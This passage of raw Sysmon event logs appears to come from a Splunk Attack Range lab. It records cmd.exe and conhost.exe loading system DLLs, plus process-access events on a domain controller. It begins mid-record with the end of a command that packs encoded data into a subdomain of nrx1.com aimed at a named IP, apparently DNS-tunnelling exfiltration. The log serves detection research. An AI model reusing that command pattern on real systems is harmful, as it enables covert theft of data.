POvEecRzGA5lnLUS7Wt1BNaqTIZuoK3QpFjXJfgsCY4x89hHDb_*dikVM0r2mw6.ySVW0oRBwugc9I1wVZkfdKqW*KqKs31ia7cKL7tBDWfcaqiK5tkJfLdNxA1ekuj.BDLjBD7_BDUtBDn_BDnkofnEpfnEBfnEnfneefnBNEWjBDLtBDWvBDnvBDnvBbW.nrx1.com 94.103.82.250 > C:\Users\ADMINI~1\AppData\Local\Temp\nlyxy.tmp 2>&1 734700x800000000000000058404Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.674{7BD73061-7599-613B-C60B-00000000F001}6264C:\Windows\System32\cmd.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000058403Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.674{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.14393.4169_none_7de0bbf28341b1f2\comctl32.dll6.10 (rs1_release.210107-1130)User Experience Controls LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationcomctl32.DLLMD5=FD486B6FA360ABE43E02E85F3164E9BE,SHA256=733922A216EC03FC6AA405205CD2F8BB81A39180F26839588B97F310E21071B5,IMPHASH=C3F4A4DA2950075F09DD008B60FF567CtrueMicrosoft WindowsValid 734700x800000000000000058402Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.674{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\System32\dwmapi.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft Desktop Window Manager APIMicrosoft® Windows® Operating SystemMicrosoft Corporationdwmapi.dllMD5=74621C6ABE4E9A568DF0A38E7282D71E,SHA256=0788A092D47800D0EB120A7DBB9E59234D0722A4A2E80ECE6CE70E3A84A3750A,IMPHASH=ADB9F71ACD4F7D3CF761AB6C59A7F1E5trueMicrosoft WindowsValid 734700x800000000000000058401Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.674{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\System32\msctf.dll10.0.14393.4530 (rs1_release.210705-0736)MSCTF Server DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationMSCTF.DLLMD5=E2374A214A9F0C8347C29EBDE3447986,SHA256=F2260FE7E0C4E92D49CF0F550E2A1B3D3F1D2D76E6F5C8F16B0E16B6117D9EE1,IMPHASH=EB898F83C3A5D6877A523BC64B41CB06trueMicrosoft WindowsValid 10341000x800000000000000058400Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.659{7BD73061-65B2-613B-1600-00000000F001}1296972C:\Windows\system32\svchost.exe{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\system32\conhost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+235b|c:\windows\system32\themeservice.dll+1ed0|c:\windows\system32\themeservice.dll+2006|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058399Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.659{7BD73061-65B2-613B-1600-00000000F001}12961324C:\Windows\system32\svchost.exe{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\system32\conhost.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000058398Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.659{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\System32\uxtheme.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft UxTheme LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationUxTheme.dllMD5=43AEE61AFABE70BFC876CC53D6A64E04,SHA256=8A4C893AEB075D3D9EFEC52E49CEF94471EB9F0A91BEB4C07DF38F8A48910C12,IMPHASH=67E6A4C8E164C0229E3FF1626F1894C6trueMicrosoft WindowsValid 734700x800000000000000058397Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.659{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\System32\profapi.dll10.0.14393.0 (rs1_release.160715-1616)User Profile Basic APIMicrosoft® Windows® Operating SystemMicrosoft CorporationPROFAPI.DLLMD5=0BC84513575743DA177F3DFE18D35CA7,SHA256=C40F6AA73073995E05E5379AE593A6617E8296C79A78BD7F716D95F98AE0D899,IMPHASH=9060609FCB6C4120D4517877408A4A46trueMicrosoft WindowsValid 734700x800000000000000058396Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.659{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000058395Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.659{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\System32\shlwapi.dll10.0.14393.4169 (rs1_release.210107-1130)Shell Light-weight Utility LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationSHLWAPI.DLLMD5=F9E249B6BB80C06BA30A61854567796C,SHA256=E5F62CD5D2FE7BE8D4E029ECA004A8773FF8D1F7AB92C115810AD54B5B8F50CA,IMPHASH=9F3DE8492A7F075320A36332ACC9CAAFtrueMicrosoft WindowsValid 734700x800000000000000058394Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.659{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000058393Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.659{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\System32\powrprof.dll10.0.14393.0 (rs1_release.160715-1616)Power Profile Helper DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationPOWRPROF.DLLMD5=C55F634054E45C0DEE47C254AE009928,SHA256=76EB0FCA87C3AD5FA1C46EB0AF88CF85E172525029E33F5DFC5645EF2EE6F575,IMPHASH=CBD4A2FD581B65B4B1934DA291FA2B86trueMicrosoft WindowsValid 734700x800000000000000058392Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.659{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\System32\windows.storage.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft WinRT Storage APIMicrosoft® Windows® Operating SystemMicrosoft CorporationWindows.Storage.dllMD5=1D7997E3AFC26B85024D33F835E18056,SHA256=B2376967E156D4971FB66059F6367030AF937943D2EBF80AF856E643B6E95BBF,IMPHASH=181A859176420BBB803F246C0E4B0889trueMicrosoft WindowsValid 734700x800000000000000058391Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.659{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\System32\cfgmgr32.dll10.0.14393.0 (rs1_release.160715-1616)Configuration Manager DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationCFGMGR32.DLLMD5=77BF2979C1A08EBA43C24FE0B7E547BE,SHA256=071E00374806E043A2E78E88C7FDDCE8F5983DE665DF41F3B3210660BF2EF704,IMPHASH=1835EBC72F9ADB09C6FCFABC04AC9C89trueMicrosoft WindowsValid 734700x800000000000000058390Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.659{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\System32\shell32.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Shell Common DllMicrosoft® Windows® Operating SystemMicrosoft CorporationSHELL32.DLLMD5=837B8644B9CE47EC28152E7D764886E0,SHA256=C5BA64473FB38E6B4592EAFA642AF82715CBC676190985D8D8D4150CE840044F,IMPHASH=2ED99A476E2DEFB78DF894322CB4A549trueMicrosoft WindowsValid 10341000x800000000000000058389Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.659{7BD73061-7599-613B-C70B-00000000F001}56565064C:\Windows\system32\conhost.exe{7BD73061-7599-613B-C60B-00000000F001}6264C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000058388Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.659{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\System32\SHCore.dll10.0.14393.4169 (rs1_release.210107-1130)SHCOREMicrosoft® Windows® Operating SystemMicrosoft CorporationSHCORE.dllMD5=D287E1BC5A148E2BCB482DBD0E925738,SHA256=1C2428AD170165DD8DE960C835D9AAB5B268300A676FE935B177ED5D2607430D,IMPHASH=3C09BDCE2388320645D7656AE2AC744CtrueMicrosoft WindowsValid 734700x800000000000000058387Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.659{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000058386Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.659{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\System32\propsys.dll7.0.14393.4169 (rs1_release.210107-1130)Microsoft Property SystemWindows® SearchMicrosoft Corporationpropsys.dllMD5=013D2BA96C261CDC62ECA7365E1C84D5,SHA256=26896478B6F1AF3756D5B1BB59BF2C6BE1C579B122CC882BAC35FEFB3EC3EE36,IMPHASH=FF25576501EAFD13671A6D5075C4513EtrueMicrosoft WindowsValid 734700x800000000000000058385Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.659{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000058384Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.659{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000058383Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.659{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\System32\imm32.dll10.0.14393.0 (rs1_release.160715-1616)Multi-User Windows IMM32 API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationimm32MD5=E1024CF2E35DD3467F52BC83F7FEDA3F,SHA256=59C87761AD509BD096C2F35257C2370FB94B95160CB63FB9E66DFD8210AB002A,IMPHASH=C852E8FD14D356C81F834E318EEAD7FAtrueMicrosoft WindowsValid 734700x800000000000000058382Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.659{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000058381Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.659{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000058380Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.659{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000058379Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.659{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000058378Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.659{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000058377Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.659{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 23542300x800000000000000018648Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:21.392{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4ADF87F5CF3BA35A69386FC0AADE0B6B,SHA256=4FF42954B36601FD3B46CD994C2E9218613970B8C92FF7ABB92E41C75904A35F,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000058376Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.659{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000058375Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.643{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000058374Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.643{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\System32\ConhostV2.dll10.0.14393.4583 (rs1_release.210730-1850)Console Window HostMicrosoft® Windows® Operating SystemMicrosoft CorporationCONHOST.EXEMD5=2FB0A16E47FFDD4CBB3E80E58ECD8AE1,SHA256=943949336C9A3707F0A9FFD76A6D20278B6EE72513E8D193D04B27133C36B7C6,IMPHASH=49A59B06FE5B10F21E36B588430BFDB3trueMicrosoft WindowsValid 734700x800000000000000058373Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.643{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 10341000x800000000000000058372Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.643{7BD73061-6D0B-613B-7F06-00000000F001}36603632C:\Windows\system32\csrss.exe{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 734700x800000000000000058371Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.643{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000058370Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.643{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000058369Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.643{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000058368Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.643{7BD73061-7599-613B-C70B-00000000F001}5656C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe10.0.14393.0 (rs1_release.160715-1616)Console Window HostMicrosoft® Windows® Operating SystemMicrosoft CorporationCONHOST.EXEMD5=D752C96401E2540A443C599154FC6FA9,SHA256=046F7A1B4DE67562547ED9A180A72F481FC41E803DE49A96D7D7C731964D53A0,IMPHASH=2C980A4DA7C717CC670CB9E1D2C4D733trueMicrosoft WindowsValid 734700x800000000000000058367Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.643{7BD73061-7599-613B-C60B-00000000F001}6264C:\Windows\System32\cmd.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000058366Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.643{7BD73061-7599-613B-C60B-00000000F001}6264C:\Windows\System32\cmd.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000058365Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.643{7BD73061-7599-613B-C60B-00000000F001}6264C:\Windows\System32\cmd.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000058364Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.643{7BD73061-7599-613B-C60B-00000000F001}6264C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37AtrueMicrosoft WindowsValid 10341000x800000000000000058363Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.628{7BD73061-6D0B-613B-7F06-00000000F001}36603632C:\Windows\system32\csrss.exe{7BD73061-7599-613B-C60B-00000000F001}6264C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000058362Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.628{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058361Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.628{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058360Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 